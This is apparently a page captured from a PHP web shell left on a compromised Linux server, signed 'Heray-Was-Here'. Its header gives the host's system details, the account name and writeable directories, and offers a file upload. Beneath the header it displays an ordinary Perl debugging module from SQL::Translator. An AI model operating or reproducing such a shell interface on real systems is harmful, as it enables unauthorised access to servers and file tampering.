Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/thread-self/root/usr/share/perl5/vendor_perl/SQL/Translator/Role/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/thread-self/root/usr/share/perl5/vendor_perl/SQL/Translator/Role/Debug.pm
package SQL::Translator::Role::Debug;
use Moo::Role;
use Sub::Quote qw(quote_sub);

has _DEBUG => (
    is => 'rw',
    accessor => 'debugging',
    init_arg => 'debugging',
    coerce => quote_sub(q{ $_[0] ? 1 : 0 }),
    lazy => 1,
    builder => 1,
);

sub _build__DEBUG {
    my ($self) = @_;
    my $class = ref $self;
    no strict 'refs';
    return ${"${class}::DEBUG"};
}

around debugging => sub {
    my ($orig, $self) = (shift, shift);

    # Emulate horrible Class::Base API
    unless (ref $self) {
        my $dbgref = do { no strict 'refs'; \${"${self}::DEBUG"} };
        $$dbgref = $_[0] if @_;
        return $$dbgref;
    }
    return $self->$orig(@_);
};

sub debug {
    my $self = shift;

    return unless $self->debugging;

    print STDERR '[', (ref $self || $self), '] ', @_, "\n";
}

1;

Hry